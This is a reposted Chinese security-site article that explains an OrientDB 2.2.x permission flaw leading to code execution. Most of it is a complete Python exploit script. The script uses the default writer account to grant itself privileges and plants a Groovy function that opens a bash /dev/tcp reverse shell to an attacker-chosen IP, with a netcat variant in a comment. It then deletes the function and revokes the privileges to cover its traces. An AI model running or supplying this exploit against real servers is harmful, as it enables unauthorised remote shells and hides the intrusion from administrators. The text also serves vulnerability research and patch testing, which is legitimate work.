OrientDB <=2.22 代码执行

没穿底裤 2020年1月1日00:25:32评论491 views字数 6135阅读20分27秒阅读模式
摘要

关于OrientDBOrientDB是一个分布式图形数据库引擎,具有文档数据库的灵活性,一体化的产品。第一个也是最好的可升级,高性能,可操作的NoSQL数据库。

关于OrientDB

OrientDB是一个分布式图形数据库引擎,具有文档数据库的灵活性,一体化的产品。第一个也是最好的可升级,高性能,可操作的NoSQL数据库。

Vulnerability Details
OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles – admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.

The privileges of the users are:

admin – access to all functions on the database without any limitation
reader – read-only user. The reader can query any records in the database, but can’t modify or delete them. It has no access to internal information, such as the users and roles themselves
writer – same as the "reader", but it can also create, update and delete records
ORole​ structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.

From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements​, this permission requirement is not required and information is returned to unprivileged users.

Since we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn’t have a sandbox and exposes system functionalities, we can run any command we want.

poc

[python]#! /usr/bin/env python
#-*- coding: utf-8 -*-
import sys
import requests
import json
import string
import random

target = sys.argv[1]

try:
port = sys.argv[2] if sys.argv[2] else 2480
except:
port = 2480

url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)

def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

def enum_databases(target,port="2480"):

base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)

if req.status_code == 200:
#print "[+] Database Enumeration successful"
database = req.json()['databases']

return database

return False

def check_version(target,port="2480"):
base_url = "http://%s:%s/listDatabases"%(target,port)
req = requests.get(base_url)

if req.status_code == 200:

headers = req.headers['server']
#print headers
if "2.2" in headers or "3." in headers:
return True

return False

def run_queries(permission,db,content=""):

databases = enum_databases(target)

url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])

priv_enable = ["create","read","update","execute","delete"]
#query = "GRANT create ON database.class.ouser TO writer"

for priv in priv_enable:

if permission == "GRANT":
query = "GRANT %s ON %s TO writer"%(priv,db)
else:
query = "REVOKE %s ON %s FROM writer"%(priv,db)
req = requests.post(url,data=query,auth=('writer','writer'))
if req.status_code == 200:
pass
else:
if priv == "execute":
return True
return False

print "[+] %s"%(content)
return True

def priv_escalation(target,port="2480"):

print "[+] Checking OrientDB Database version is greater than 2.2"

if check_version(target,port):

priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")
priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")
priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")

if priv1 and priv2 and priv3:
return True

return False

def exploit(target,port="2480"):

#query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":null'

#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute(); ","parameters":None}

func_name = random_function_name()

print func_name

databases = enum_databases(target)

reverse_ip = raw_input('Enter the ip to connect back: ')

query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();","parameters":null}'
#query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = \'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\' \u000a File file = new File(\"hello.sh\")\u000a file.delete() \u000a file << (\"#!/bin/bash\")\u000a file << (command)\n def proc = \"bash hello.sh\".execute() ","parameters":null}'
#query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = \'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\';File file = new File(\"hello.sh\");file.delete();file << (\"#!/bin/bash\\n\");file << (command);def proc = \"bash hello.sh\".execute();","parameters":None}
req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))

if req.status_code == 201:

#print req.status_code
#print req.json()

func_id = req.json()['@rid'].strip("#")
#print func_id

print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)

req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))
#print req.status_code
#print req.text

if req.status_code == 200:
print "[+] Open netcat at port 8081.."
else:
print "[+] Exploitation failed at last step, try running the script again."
print req.status_code
print req.text

#print "[+] Deleting traces.."

req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))
priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")
priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")
priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")

#print req.status_code
#print req.text

def main():

target = sys.argv[1]
#port = sys.argv[1] if sys.argv[1] else 2480
try:
port = sys.argv[2] if sys.argv[2] else 2480
#print port
except:
port = 2480
if priv_escalation(target,port):
exploit(target,port)
else:
print "[+] Target not vulnerable"

main()[/python]

OrientDB <=2.22 代码执行

OrientDB <=2.22 代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日00:25:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   OrientDB <=2.22 代码执行https://cn-sec.com/archives/75018.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息